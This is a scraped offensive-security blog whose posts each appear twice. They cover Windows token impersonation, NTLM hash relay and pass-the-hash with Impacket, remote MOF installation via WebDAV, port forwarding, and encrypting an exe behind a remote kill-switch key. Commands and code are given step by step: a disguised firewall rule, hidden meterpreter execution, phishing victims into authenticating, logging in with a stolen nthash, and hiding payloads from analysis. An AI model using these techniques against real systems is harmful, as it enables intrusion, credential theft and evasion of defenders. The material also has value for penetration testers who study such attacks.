Then I'm going to upload the little exe I compiled, .. you can find the source on my github but you'll most likely need to modify it as its not built for any sort of production environment.
upload /tmp/awesome32.exe c:\\Windows\\Temp\\awesome32.exe
Now I'm going to run it simply like so
execute -H -c -f "C:\\Windows\\Temp\\awesome32.exe" -a "0.0.0.0 80"
I could also drop it directly to memory so as not to touch disk, or I could even write a metasploit module to do everything via railgun!
Now we load incognito, and list all the hashes... obviously its just going to be us on there, so what we need to do is either use the post/windows/escalate/droplnk or send someone a e-mail with our link inside, hell we could even do a little spoofing... The goal obviously is to get someone to connect to us, on port 80 "this requires webclient to be running fyi"... the @ sign in a link really helps out btw so don't be afraid to use it and it also enables you to run it on any other port you like. You also need to remember that windows "should" Not authenticate directly if you don't use a named host.
After someone authenticates we simply list_tokens and then do impersonate_token and we become whoever we like.
Our before...
And after...
I also want to point out something a little odd that I have noticed, I haven't had much time to test it but you should definitely check it out as it has happened on a few occasions. If you have a couple of Impersonation tokens and then you do a windows update... your impersonation tokens become delegation tokens... I'm not exactly sure why, and I haven't really had any luck tracking it down but it happens. I have a feeling that when it does a update for some reason duplicates the token and then sets the ASC_REQ_DELEGATE flag in the attributes but I'm not entirely sure.
Anyways the code can be found here for now, and ill be rewriting it in C# just as soon as I get the chance. There are pretty good comments to go along with it so I don't think i have to explain everything, just go take a look.
https://github.com/trump0dump/helpful/tree/master/tokenc
So there are a ton of tools to use for capturing crackable hashes and or relaying them, Metasploit, Impacket, and Responder all have one to varying degrees or another. What I'm going to show you is how to take a network authentication and use it locally to get a token. Then we can simply impersonate that with incognito or write our own method to do it. This is what I'm working on in C# at the moment...
So lets assume we have managed to become LOCAL SYSTEM via potato or some other method and we have a meterpreter session on the box. Its on a 2k12 network and nothing else is running so only RPC port 135 is open. I'm going to start by enabling port 80 on the firewall by running this command with meterpreter.
netsh advfirewall firewall add rule name="Inconspicuous Rule Name" dir=in action=allow protocol=TCP localport=80
Then I'm going to upload the little exe I compiled, .. you can find the source on my github but you'll most likely need to modify it as its not built for any sort of production environment.
upload /tmp/awesome32.exe c:\\Windows\\Temp\\awesome32.exe
Now I'm going to run it simply like so
execute -H -c -f "C:\\Windows\\Temp\\awesome32.exe" -a "0.0.0.0 80"
I could also drop it directly to memory so as not to touch disk, or I could even write a metasploit module to do everything via railgun!
Now we load incognito, and list all the hashes... obviously its just going to be us on there, so what we need to do is either use the post/windows/escalate/droplnk or send someone a e-mail with our link inside, hell we could even do a little spoofing... The goal obviously is to get someone to connect to us, on port 80 "this requires webclient to be running fyi"... the @ sign in a link really helps out btw so don't be afraid to use it and it also enables you to run it on any other port you like. You also need to remember that windows "should" Not authenticate directly if you don't use a named host.
After someone authenticates we simply list_tokens and then do impersonate_token and we become whoever we like.
Our before...
And after...
I also want to point out something a little odd that I have noticed, I haven't had much time to test it but you should definitely check it out as it has happened on a few occasions. If you have a couple of Impersonation tokens and then you do a windows update... your impersonation tokens become delegation tokens... I'm not exactly sure why, and I haven't really had any luck tracking it down but it happens. I have a feeling that when it does a update for some reason duplicates the token and then sets the ASC_REQ_DELEGATE flag in the attributes but I'm not entirely sure.
Anyways the code can be found here for now, and ill be rewriting it in C# just as soon as I get the chance. There are pretty good comments to go along with it so I don't think i have to explain everything, just go take a look.
https://github.com/trump0dump/helpful/tree/master/tokenc
Wednesday, February 3, 2016
Learning Hex
A long time ago, almost in another life it seems I had never heard of hex, it was such a difficult concept for me to understand and now its second nature. I guess that's what happens when you stare at Wireshark all day, and start writing intercepting proxy's and such. So anyways long story short my girl asked me a while ago what it was and since I'm actually putting some effort into learning c# I decided to come up with something. A few hours later and I had this.
Its not very useful but it does explain the ascii codes to hex values and my girl was happy with it. Lol if you want to get major bonus points write a exe for your girl ;). Also since this isn't a technical post and doesn't really have much value I'll leave you with this... netbios does not bind to 0.0.0.0 or [::] which could be Very useful in a pivot situation and other things, what is odd is that I have never heard anyone mention it before...
The code is here if you want to take a look https://github.com/trump0dump/helpful/blob/master/simple_hex.cs
Enjoy!
Its not very useful but it does explain the ascii codes to hex values and my girl was happy with it. Lol if you want to get major bonus points write a exe for your girl ;). Also since this isn't a technical post and doesn't really have much value I'll leave you with this... netbios does not bind to 0.0.0.0 or [::] which could be Very useful in a pivot situation and other things, what is odd is that I have never heard anyone mention it before...
The code is here if you want to take a look https://github.com/trump0dump/helpful/blob/master/simple_hex.cs
Enjoy!
Sunday, January 31, 2016
Port Redirection In C#
I would love more than anything to make a nice long winded post about POTato, as I'm sure its all the rage rite now. I mean whats not to like about it, well I guess if your Microsoft there might be a reason, but I think they should just suck it up and learn the lesson... tssk tssk! Regardless I might decide to do one sometime soon or get a talk together as there is a lot more to it than most realize.
Sometimes the simplest things are the answer!
I felt like atleast mentioning it because that's why I decided to make this little post in the first place "its written in c#". I honestly sat last night for a hour trying to think of something to write about, and then it came to me. Why not start a gender-bender in c# and since a friend has been giving me little nudges to learn the language I eventually decided to give it a go. Personally I think its way easier to learn than c++ so i might just make the switch.
Enough of the introduction, lets get down to business, I really dont know enough to even tell you what Classes, are etc etc but I'm going to tell you the most basic way to make a forwarder, then you can look at the code and see how I did it. Ill eventually update it and add some more error checking and options as its Extremely useful!
A simple gender-beder or port forwarder goes like this.
SudoCode aka not in c#
sock1 = listen(ip, port) //listen ip and port
when sock1.connects // block until something connects
sock2 = connect(ip, port) // when it does connect to second host
thread1 = relay(sock1, sock2) // spawn relay thread1
thread2 = relay(sock2, sock1) // spawn relay thread2
// we just reuse the same relay "function"
relay(sock-a, sock-b)
data = sock-a.read // read from socket
sock-b.write(data) // write to socket
That's it, I mean really that's all there is to the game.. you cant get any simpler in my opinion. Sure you can do error checking and whatever else you want, but you are ALWAYS going to come back to this.
Listen(Port:IP) <===> App <===> Connect(Port:IP)
You can even Gender-Bend it, as rather than listen you can make the first connection outbound.
Connect1(Port:IP) <===> App <===> Connect2(Port:IP)
You can also do something really interesting if you put 1 more connection into the mix and spawn a few more threads. I like to call it the 3-way, and who doesn't like one of those!
Connect1(Port:IP) <===> App <===> Connect2(Port:IP)
^
||
v
Connect3(Port:IP)
Now not only can you mirror anything but you can also write to both connect 1 and 2.... let that sink in for a bit!
Anyways lets get back to c# as that was the reason of this in the first place. Knowing the simple knowledge above I managed to make something in less than a few hours having never used c# before.
You can check it out here https://github.com/trump0dump/helpful/blob/master/port_redir.cs it comes in under 70lines with some simple error checking. I got sick and tired of dealing with windows crash reporter ;)
Oh and before you go, dont forget, you DONT need Visual Studio to compile this! I guarantee your windows box has everything you need. Just do this, atleast for Win7+
cd C:\Windows\Microsoft.NET\Framework\v4*
csc.exe /out:"C:\Users\YOU\port_redir.exe" /platform:x86 "C:\Users\YOU\port_redir.cs"
Enjoy and have fun!
Sometimes the simplest things are the answer!
I felt like atleast mentioning it because that's why I decided to make this little post in the first place "its written in c#". I honestly sat last night for a hour trying to think of something to write about, and then it came to me. Why not start a gender-bender in c# and since a friend has been giving me little nudges to learn the language I eventually decided to give it a go. Personally I think its way easier to learn than c++ so i might just make the switch.
Enough of the introduction, lets get down to business, I really dont know enough to even tell you what Classes, are etc etc but I'm going to tell you the most basic way to make a forwarder, then you can look at the code and see how I did it. Ill eventually update it and add some more error checking and options as its Extremely useful!
A simple gender-beder or port forwarder goes like this.
SudoCode aka not in c#
sock1 = listen(ip, port) //listen ip and port
when sock1.connects // block until something connects
sock2 = connect(ip, port) // when it does connect to second host
thread1 = relay(sock1, sock2) // spawn relay thread1
thread2 = relay(sock2, sock1) // spawn relay thread2
// we just reuse the same relay "function"
relay(sock-a, sock-b)
data = sock-a.read // read from socket
sock-b.write(data) // write to socket
That's it, I mean really that's all there is to the game.. you cant get any simpler in my opinion. Sure you can do error checking and whatever else you want, but you are ALWAYS going to come back to this.
Listen(Port:IP) <===> App <===> Connect(Port:IP)
You can even Gender-Bend it, as rather than listen you can make the first connection outbound.
Connect1(Port:IP) <===> App <===> Connect2(Port:IP)
You can also do something really interesting if you put 1 more connection into the mix and spawn a few more threads. I like to call it the 3-way, and who doesn't like one of those!
Connect1(Port:IP) <===> App <===> Connect2(Port:IP)
^
||
v
Connect3(Port:IP)
Now not only can you mirror anything but you can also write to both connect 1 and 2.... let that sink in for a bit!
Anyways lets get back to c# as that was the reason of this in the first place. Knowing the simple knowledge above I managed to make something in less than a few hours having never used c# before.
You can check it out here https://github.com/trump0dump/helpful/blob/master/port_redir.cs it comes in under 70lines with some simple error checking. I got sick and tired of dealing with windows crash reporter ;)
Oh and before you go, dont forget, you DONT need Visual Studio to compile this! I guarantee your windows box has everything you need. Just do this, atleast for Win7+
cd C:\Windows\Microsoft.NET\Framework\v4*
csc.exe /out:"C:\Users\YOU\port_redir.exe" /platform:x86 "C:\Users\YOU\port_redir.cs"
Enjoy and have fun!
Monday, January 25, 2016
mofcomp.exe Is A Gender Bender...
I dont exactly have time this week to make a real detailed post, I have been doing a lot with Metasploit and its been really fun. One of the things that came to my attention is that the mof module does not compile for you. That means it wont work on anything really other than XP.
I dont exactly have the expertise to go about writing a bare compiler on my own, although I might be able to find one for Ruby already made, or maybe import one from python. Regardless the way around this is to simply use mofcomp.exe on the target computer :)
There is one other thing and its the fact that the generate_mof function in Metasploit actually takes a .exe which kind of sucks if you don't want to touch disk and be "opsec-safe". It got me thinking though that we could actually just put the exe on a WebDav share and load it directly from there as long as we changed our link in the generate_mof file, which should work.
Which made me instantly realize something and come up with this amazing little one liner, you can load a .mof file from a WebDav share, and since you can remotly install MOF files if the correct ports are open and you have permissions I give you this.
mofcomp.exe -N:"\\[install_comp]\root\cimv2" "\\serversomeplace@80\amazing.mof"
I tested and it appeared to work well, however you should note I did have the firewall turned off on the target box and I was logged in as domain admin on the middle box. Anyways, I thought it could be useful.
I dont exactly have the expertise to go about writing a bare compiler on my own, although I might be able to find one for Ruby already made, or maybe import one from python. Regardless the way around this is to simply use mofcomp.exe on the target computer :)
There is one other thing and its the fact that the generate_mof function in Metasploit actually takes a .exe which kind of sucks if you don't want to touch disk and be "opsec-safe". It got me thinking though that we could actually just put the exe on a WebDav share and load it directly from there as long as we changed our link in the generate_mof file, which should work.
Which made me instantly realize something and come up with this amazing little one liner, you can load a .mof file from a WebDav share, and since you can remotly install MOF files if the correct ports are open and you have permissions I give you this.
mofcomp.exe -N:"\\[install_comp]\root\cimv2" "\\serversomeplace@80\amazing.mof"
I tested and it appeared to work well, however you should note I did have the firewall turned off on the target box and I was logged in as domain admin on the middle box. Anyways, I thought it could be useful.
Monday, January 18, 2016
Starting A Low Integrity Process
So I have been learning c++, now granted I'm not very good at it but it's rather fun and since we have direct access to all of Microsofts API's it's perfect for vuln research. One of things that interested me was how easy it was to play around with tokens. I also had a hard time understanding the difference between integrity levels and what you could do with each. So I decided to steal some code from MS and put it all together. The end result is a pretty nifty exe you can use for testing and learning.
So how does all this work, well ill explain as much as I can.
The first thing we need to do is call OpenProcessToken, this is going to get the token that the current process is using. There is also OpenThreadToken but we don't need that for this example.
HANDLE Token; // This will be where our token is stored.
OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY,
&Token); //Pass it the handle so it returns.
Now we want to duplicate it, we are going to be changing the Sid to LowIntegrity and we don't want any issues.
HANDLE NewToken; // Our new token will be stored here.
DuplicateTokenEx(Token,
0,
NULL,
SecurityImpersonation,
TokenPrimary,
&NewToken); // Pass it the handle
Now we need to change the Sid to LowIntegrity, this is a predefined string that Microsoft has, there are tons of them and most are located here https://msdn.microsoft.com/en-us/library/cc980032.aspx but the main ones are.
S-1-16-4096 Low Mandatory Label
S-1-16-8192 Medium Mandatory Label
S-1-16-12288 High Mandatory Label
S-1-16-16384 System Mandatory Label
So lets go ahead and actually change the the level of our copied token! This part looks a little complicated but its fairly easy. We are just building all the parts so we can actually change it.
PSID pIntegritySid = NULL;
WCHAR wszIntegritySid[20] = L"S-1-16-4096"; // Low integrity SID
ConvertStringSidToSid(wszIntegritySid, &pIntegritySid); //You will need #include "sddl.h"
// This is the struct for setting our Mandatory label.
TOKEN_MANDATORY_LABEL TIL = { 0 };
TIL.Label.Attributes = SE_GROUP_INTEGRITY;
TIL.Label.Sid = pIntegritySid;
// We need the size when we pass it to SetTokenInformation
DWORD infolength = sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(pIntegritySid);
// And here we finally change the Sid to what we want on the new token.
SetTokenInformation(NewToken, TokenIntegrityLevel, &TIL, infolength);
The last part of this is just setting up the rest of the stuff we need to call CreateProcessAsUser.
PROCESS_INFORMATION ProcInfo = { 0 };
STARTUPINFO StartupInfo = { 0 };
WCHAR ProcessName[MAX_PATH] = L"C:\\Windows\\System32\\cmd.exe";
This is the final call and then we are done, all we are really doing is passing it our modified token and the process that we want to actually open!
CreateProcessAsUser(NewToken,
NULL,
ProcessName,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&StartupInfo,
&ProcInfo);
A few things to keep in mind, this all needs to be wrapped in a function deceleration and its not threaded.
In the code I'm using I added a extra little call to check what level the token was at before we duplicate and modify it. Then I check again once we call CreateProcessAsUser as you can see in the output. I uploaded it to github and you can check it out here https://github.com/trump0dump/helpful/blob/master/low_integrity.cpp, the end result looks something like this!
And you can check to see that its actually running as Low Integrity with ProcessExplorer
Enjoy and I should also mention that you can change the Sid and call it from a High process. Its not very useful but does help with understanding tokens and Integrity Levels :)
So how does all this work, well ill explain as much as I can.
The first thing we need to do is call OpenProcessToken, this is going to get the token that the current process is using. There is also OpenThreadToken but we don't need that for this example.
HANDLE Token; // This will be where our token is stored.
OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE |
TOKEN_ADJUST_DEFAULT |
TOKEN_QUERY |
TOKEN_ASSIGN_PRIMARY,
&Token); //Pass it the handle so it returns.
Now we want to duplicate it, we are going to be changing the Sid to LowIntegrity and we don't want any issues.
HANDLE NewToken; // Our new token will be stored here.
DuplicateTokenEx(Token,
0,
NULL,
SecurityImpersonation,
TokenPrimary,
&NewToken); // Pass it the handle
Now we need to change the Sid to LowIntegrity, this is a predefined string that Microsoft has, there are tons of them and most are located here https://msdn.microsoft.com/en-us/library/cc980032.aspx but the main ones are.
S-1-16-4096 Low Mandatory Label
S-1-16-8192 Medium Mandatory Label
S-1-16-12288 High Mandatory Label
S-1-16-16384 System Mandatory Label
So lets go ahead and actually change the the level of our copied token! This part looks a little complicated but its fairly easy. We are just building all the parts so we can actually change it.
PSID pIntegritySid = NULL;
WCHAR wszIntegritySid[20] = L"S-1-16-4096"; // Low integrity SID
ConvertStringSidToSid(wszIntegritySid, &pIntegritySid); //You will need #include "sddl.h"
// This is the struct for setting our Mandatory label.
TOKEN_MANDATORY_LABEL TIL = { 0 };
TIL.Label.Attributes = SE_GROUP_INTEGRITY;
TIL.Label.Sid = pIntegritySid;
// We need the size when we pass it to SetTokenInformation
DWORD infolength = sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(pIntegritySid);
// And here we finally change the Sid to what we want on the new token.
SetTokenInformation(NewToken, TokenIntegrityLevel, &TIL, infolength);
The last part of this is just setting up the rest of the stuff we need to call CreateProcessAsUser.
PROCESS_INFORMATION ProcInfo = { 0 };
STARTUPINFO StartupInfo = { 0 };
WCHAR ProcessName[MAX_PATH] = L"C:\\Windows\\System32\\cmd.exe";
This is the final call and then we are done, all we are really doing is passing it our modified token and the process that we want to actually open!
CreateProcessAsUser(NewToken,
NULL,
ProcessName,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&StartupInfo,
&ProcInfo);
A few things to keep in mind, this all needs to be wrapped in a function deceleration and its not threaded.
In the code I'm using I added a extra little call to check what level the token was at before we duplicate and modify it. Then I check again once we call CreateProcessAsUser as you can see in the output. I uploaded it to github and you can check it out here https://github.com/trump0dump/helpful/blob/master/low_integrity.cpp, the end result looks something like this!
And you can check to see that its actually running as Low Integrity with ProcessExplorer
Enjoy and I should also mention that you can change the Sid and call it from a High process. Its not very useful but does help with understanding tokens and Integrity Levels :)
Sunday, January 10, 2016
SMB2 Reflection with Impacket... or passing your own hashes/blobs
I
have been really busy with life and stuff, add to that the fact im
attempting to learn c++ to further my exploit dev skills and my time is
almost non existent. However I wanted to take a step back and expand on
using impacket a little more. It can be VERY useful in special
situations. So lets take a closer look.
Last time we discussed how to make your own connection, this time we will be getting even deeper and making/passing our own hashes. Anyways lets get right down to it shall we!
For the example we are going to build our own hashes rather than reflect/pass them, but if you wanted to you could setup a webdav server and relay them ;)
Lets do our imports:
from impacket.smbconnection import *
from impacket.ntlm import * #for building our hashes
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
Start building our basic packet structure for hash1:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
Build our own hash1:
hash1 = getNTLMSSPType1(signingRequired = True)
#Note that the impacket structure is actually NTLMAuthNegotiate()
We can dump it to see whats inside for debugging:
hash1.dump()
Now if we are reflecting this we need to make sure that message Signing is not one of the included flags. So lets test that and if it is there we can remove it, also you most likely captured the hash1 and are imputing it as a string so lets get it into a impacket structure. I should also not this is not required, you can always use your own hash1 and simple replay/reflect the hash2 and hash3
First put it in a structure we can use since it is probably a string:
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
Test our hash1 for a flag:
#You can test all the hashes this way
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
It should have returned True so lets remove it:
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
... lol thats really really bad so lets add it back in:
h1['flags'] |= NTLMSSP_SIGN
Continue formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
Now we can make our connection to the server:
#If doing this in a shell you have to be quick, there are timeouts involved.
con = SMBConnection('127.0.0.1', '127.0.0.1', preferredDialect=SMB2_DIALECT_002)
con.setTimeout(120)
This is when we need the lower level stuff:
low_level = con.getSMBServer()
Now we have to build a actual SMB packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
Our packet containing hash1 should be ready to go, as with most of the structures in impacket if you would like to check its contents you can use.
packet.dump()
And it should look something like this...
Ok so its time to send it off and get our hash2:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
Before we continue note that we must MUST set our SessionID otherwise the rest of our calls won't work.
Set our SessionID:
low_level._Session['SessionID'] = resp['SessionID']
resp now contains our hash2 from the server, along with the entire rest of the packet, so to access it if we want to say replay it back to something, we need to get it into a usable format.
sessionSetupResponse = SMB2SessionSetup_Response(resp['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
hash2 = NTLMAuthChallenge()
hash2.fromString(respToken['ResponseToken'])
If we wanted to access the 8byte challenge:
hash2['challenge']
hash2.dump()
So now we are most of the way there, lets build our hash3 first. Remember you can skip this if you are just doing reflection or relay and use your own.
#This will return both the SessionKey along with hash3, if you have signing enable, set it, otherwise forget it ;) also note that the actual impacket structure is NTLMAuthChallengeResponse
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'user', 'password', 'DOMAIN')
low_level. _Session['SessionKey'] = seskey
Or if you used mimikatz and grabbed the nthash you can use it like so!
from binascii import a2b_hex
nhash = a2b_hex('5a0d0336d04ae1031f2d36bd5bd0a759')
#You need to have the '' for password if you use a nthash
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'admin_account', '', 'WORKGROUP', nthash=nhash)
Start the structure like before and input the hash3:
respToken = SPNEGO_NegTokenResp()
respToken['ResponseToken'] = str(hash3)
Finish the SMB structure:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
sessionSetup['SecurityBufferLength'] = len(respToken)
sessionSetup['Buffer'] = respToken.getData()
Build the packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
And finally we send our hash3 and get the response:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
If everything worked properly and you are watching along with Wireshark you should see something like this, which is what the standard NTLM Negotiation looks like.
and you should have Status Success... for the last Session Setup Response...
We can then use the higher level connection same as before to do whatever we want:
shares = con.listShares()
for n in shares:
n.dump()
That's about it, just remember your permissions on the box come into play and just because you can authenticate does not mean you can do something exploitable... ;)
I have also uploaded the code in this post to github https://github.com/trump0dump/helpful
Last time we discussed how to make your own connection, this time we will be getting even deeper and making/passing our own hashes. Anyways lets get right down to it shall we!
For the example we are going to build our own hashes rather than reflect/pass them, but if you wanted to you could setup a webdav server and relay them ;)
Lets do our imports:
from impacket.smbconnection import *
from impacket.ntlm import * #for building our hashes
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
Start building our basic packet structure for hash1:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
Build our own hash1:
hash1 = getNTLMSSPType1(signingRequired = True)
#Note that the impacket structure is actually NTLMAuthNegotiate()
We can dump it to see whats inside for debugging:
hash1.dump()
Now if we are reflecting this we need to make sure that message Signing is not one of the included flags. So lets test that and if it is there we can remove it, also you most likely captured the hash1 and are imputing it as a string so lets get it into a impacket structure. I should also not this is not required, you can always use your own hash1 and simple replay/reflect the hash2 and hash3
First put it in a structure we can use since it is probably a string:
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
Test our hash1 for a flag:
#You can test all the hashes this way
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
It should have returned True so lets remove it:
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
... lol thats really really bad so lets add it back in:
h1['flags'] |= NTLMSSP_SIGN
Continue formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
Now we can make our connection to the server:
#If doing this in a shell you have to be quick, there are timeouts involved.
con = SMBConnection('127.0.0.1', '127.0.0.1', preferredDialect=SMB2_DIALECT_002)
con.setTimeout(120)
This is when we need the lower level stuff:
low_level = con.getSMBServer()
Now we have to build a actual SMB packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
Our packet containing hash1 should be ready to go, as with most of the structures in impacket if you would like to check its contents you can use.
packet.dump()
And it should look something like this...
Ok so its time to send it off and get our hash2:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
Before we continue note that we must MUST set our SessionID otherwise the rest of our calls won't work.
Set our SessionID:
low_level._Session['SessionID'] = resp['SessionID']
resp now contains our hash2 from the server, along with the entire rest of the packet, so to access it if we want to say replay it back to something, we need to get it into a usable format.
sessionSetupResponse = SMB2SessionSetup_Response(resp['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
hash2 = NTLMAuthChallenge()
hash2.fromString(respToken['ResponseToken'])
If we wanted to access the 8byte challenge:
hash2['challenge']
hash2.dump()
So now we are most of the way there, lets build our hash3 first. Remember you can skip this if you are just doing reflection or relay and use your own.
#This will return both the SessionKey along with hash3, if you have signing enable, set it, otherwise forget it ;) also note that the actual impacket structure is NTLMAuthChallengeResponse
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'user', 'password', 'DOMAIN')
low_level. _Session['SessionKey'] = seskey
Or if you used mimikatz and grabbed the nthash you can use it like so!
from binascii import a2b_hex
nhash = a2b_hex('5a0d0336d04ae1031f2d36bd5bd0a759')
#You need to have the '' for password if you use a nthash
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'admin_account', '', 'WORKGROUP', nthash=nhash)
Start the structure like before and input the hash3:
respToken = SPNEGO_NegTokenResp()
respToken['ResponseToken'] = str(hash3)
Finish the SMB structure:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
sessionSetup['SecurityBufferLength'] = len(respToken)
sessionSetup['Buffer'] = respToken.getData()
Build the packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
And finally we send our hash3 and get the response:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
If everything worked properly and you are watching along with Wireshark you should see something like this, which is what the standard NTLM Negotiation looks like.
and you should have Status Success... for the last Session Setup Response...
We can then use the higher level connection same as before to do whatever we want:
shares = con.listShares()
for n in shares:
n.dump()
That's about it, just remember your permissions on the box come into play and just because you can authenticate does not mean you can do something exploitable... ;)
I have also uploaded the code in this post to github https://github.com/trump0dump/helpful
Monday, January 4, 2016
Encode a exe in a python script... this is something I really wanted to be able to do a few months ago and couldn't figure out quickly. It didn't seem like there was allot of info out there so I thought this could be something worth sharing. It turns out doing this is incredibly easy!
So first we have a exe, for arguments sake lets say its streams.exe from the sysinternals suite. We want to put this in a script so that we can use it on any computer we manage to get our python onto.
Lets start by importing base64 as this is how we are going to encode it in our script.
import base64
Now we need to open the file and read the raw binary data "thats the rb in the open command"
f = open('streams.exe', 'rb')
raw_data = f.read()
f.close()
Now that we have the raw data lets base64 encode it.
b64_data = base64.b64encode(raw_data)
And thats really all there is to it we can now use something like this in our script.
b64_data = """AAAA..ETC"""
Writing it back to a file is as simple as this.
raw_data = base64.b64decode(b64_text)
f.open('new_streams.exe', 'wb')
f.write(raw_data)
f.close()
So lets take this one step further, say we wanted to encrypt this exe so that not many people could figure out what exactly it is. Now to generate a key for the encryption I'm going to actually hash a webpage. If something happened or if I want it to error out I simply change the page by 1 letter and it will fail on extraction! This has the added benefit of me being able to see who connects and I can even write a script to change my webpage the first connect.
First we need to import some things, also note that you might have to compile Crypto.
import base64
import hashlib
import urllib2
from Crypto.Cipher import AES
from Crypto import Random
Ok so lets get a hash of a webpage, google isn't a good choice but well use it for this anyway.
resp = urllib2.urlopen('http://www.google.com')
html = resp.read()
Now lets hash that page
key = hashlib.sha256(html).digest()
Now that we have our hash/key we need to encrypt it for this we will use AES_CBC however it needs a blocksize of 16 so we have to pad our data. Thats not a issue because we can simply strip it off after the decryption.
length = 16 - (len(b64_data) % 16)
b64_data += '{' * length
And here we do the actual encryption and then base64 the output so we can include it in a script just like before.
iv = "\x00" * 16
e = AES.new(key, AES.MODE_CBC, iv)
enc_data = base64.b64encode(e.encrypt(b64_data))
Then we can encode it in our script like so.
enc_data = """AAAA..ETC"""
That's it, now to reverse that when we want, we just hash the webpage and use it as a key, strip off the padding, base64decode the data, then write it to a file.
# assuming we have our key like above
e = AES.new(key, AES.MODE_CBC, iv)
data = base64.b64decode(enc_data)
ndata = e.decrypt(data)
data = base64.b64decode(ndata.rstrip('{'))
Super simple and pretty cool, now all we need is a way to inject that into memory rather than write it to disk.... ;)
I'm putting a "helper" script up on my github if you want to check it out https://github.com/trump0dump/helpful
So first we have a exe, for arguments sake lets say its streams.exe from the sysinternals suite. We want to put this in a script so that we can use it on any computer we manage to get our python onto.
Lets start by importing base64 as this is how we are going to encode it in our script.
import base64
Now we need to open the file and read the raw binary data "thats the rb in the open command"
f = open('streams.exe', 'rb')
raw_data = f.read()
f.close()
Now that we have the raw data lets base64 encode it.
b64_data = base64.b64encode(raw_data)
And thats really all there is to it we can now use something like this in our script.
b64_data = """AAAA..ETC"""
Writing it back to a file is as simple as this.
raw_data = base64.b64decode(b64_text)
f.open('new_streams.exe', 'wb')
f.write(raw_data)
f.close()
So lets take this one step further, say we wanted to encrypt this exe so that not many people could figure out what exactly it is. Now to generate a key for the encryption I'm going to actually hash a webpage. If something happened or if I want it to error out I simply change the page by 1 letter and it will fail on extraction! This has the added benefit of me being able to see who connects and I can even write a script to change my webpage the first connect.
First we need to import some things, also note that you might have to compile Crypto.
import base64
import hashlib
import urllib2
from Crypto.Cipher import AES
from Crypto import Random
Ok so lets get a hash of a webpage, google isn't a good choice but well use it for this anyway.
resp = urllib2.urlopen('http://www.google.com')
html = resp.read()
Now lets hash that page
key = hashlib.sha256(html).digest()
Now that we have our hash/key we need to encrypt it for this we will use AES_CBC however it needs a blocksize of 16 so we have to pad our data. Thats not a issue because we can simply strip it off after the decryption.
length = 16 - (len(b64_data) % 16)
b64_data += '{' * length
And here we do the actual encryption and then base64 the output so we can include it in a script just like before.
iv = "\x00" * 16
e = AES.new(key, AES.MODE_CBC, iv)
enc_data = base64.b64encode(e.encrypt(b64_data))
Then we can encode it in our script like so.
enc_data = """AAAA..ETC"""
That's it, now to reverse that when we want, we just hash the webpage and use it as a key, strip off the padding, base64decode the data, then write it to a file.
# assuming we have our key like above
e = AES.new(key, AES.MODE_CBC, iv)
data = base64.b64decode(enc_data)
ndata = e.decrypt(data)
data = base64.b64decode(ndata.rstrip('{'))
Super simple and pretty cool, now all we need is a way to inject that into memory rather than write it to disk.... ;)
I'm putting a "helper" script up on my github if you want to check it out https://github.com/trump0dump/helpful
Subscribe to:
Posts (Atom)